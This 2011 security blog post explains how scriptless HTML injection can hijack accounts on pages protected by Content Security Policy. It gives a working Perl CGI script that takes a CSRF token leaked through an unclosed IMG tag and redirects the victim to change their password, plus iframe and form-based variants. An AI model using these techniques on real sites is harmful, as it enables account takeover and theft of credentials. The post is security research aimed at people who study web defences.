Saturday 28 May 2011

JS-less XSS

Using HTML Injection to hijack accounts without JavaScript.
Sometimes using javascript isn't an option. Maybe the target website uses the new Content Security Policy (CSP) header to prevent script execution, or perhaps the target user has NoScript. At the moment CSP is extremely rare (only used by mobile Twitter and only supported by Firefox 4) but it may become widespread in the future. After all, with CSP "the bar for a successful attack is placed much, much higher" ;) The techniques here are not a CSP bypass, but a workaround.

Since I couldn't find an XSS in mobile twitter in 5 minutes, I've hashed together a couple of extremely simple demo pages that use CSP and are vulnerable to XSS. See if you can work out how to make a payload to hijack an account. If you aren't using FF4 just try to write a scriptless payload.

Example Site One------------------Exploit via IMG
This exploit is quite stealthy; unless you intercept your browser's requests, you might not realise the password has been changed. The injected unclosed IMG tag results in the victim's browser making a request like GET http://albinowax.users.sourceforge.net/cgi-bin/jslessxss.pl?s=[theEntirePageAfterTheInjectionPoint]
jslessxss.pl extracts the 'csrftoken' value from the GET request, and places it into a 302 Found response like:

302 Found
Location: http://albinowax.users.sourceforge.net/cgi-bin/one.pl?pass1=evilpassword&pass2=evilpassword&csrftoken=[token]

So your browser dutifully performs
GET http://albinowax.users.sourceforge.net/cgi-bin/one.pl?pass1=evilpassword&pass2=evilpassword&csrftoken=[token]
And that's it; the page will see the correct token and update the password.

The code behind jslessxss.pl is very simple:

#!/usr/bin/perl
use CGI ':standard';

my $tok = param('s');
if($tok =~ m/csrftoken.*value="([0-9]*)/) { $tok = $1; } #extract the token
my $ref = $ENV{HTTP_REFERER}; #get the referer
$ref =~ s/\?.*//g; #remove any arguments from the referer
print header(-Status=>'302 Found', -Location=>$ref.'?pass1=evilpassword&pass2=evilpassword&csrftoken='.$tok);

If the request you want to forge is POST only, try <iframe src='http://example.com?s= to grab the token instead, and put an autosubmitting form in the iframe'd page.
Example Site Two------------------Exploit via FORM/TEXTBOX
This exploit is a lot less subtle. It requires user interaction, and triggers NoScript's XSS filter. However, the <form> <textbox> approach is much more likely to capture the whole web page, and won't be upset by a single ' or ".

The demo doesn't show it, but a token harvested from one page can often be used for any form on the website, and re-used indefinitely. Thus, just like with normal XSS, the injection doesn't have to be on the page with the form you want to forge. Another interesting alternative to harvesting tokens is UI-redressing attacks like clickjacking, since many anti-framing techniques allow framing when the host domain matches the framed domain.

Finally, I'm sure there are plenty more entertaining and robust ways of hijacking accounts without javascript/flash/java. I'll try to keep this page updated with the latest.

See also:
Sniffing saved passwords (still works):
http://kuza55.blogspot.co.uk/2007/02/breaking-firefoxs-rcsr-fix.html

http://lcamtuf.coredump.cx/postxss/
http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
http://www.slideshare.net/x00mario/stealing-the-pie

No comments:

Post a Comment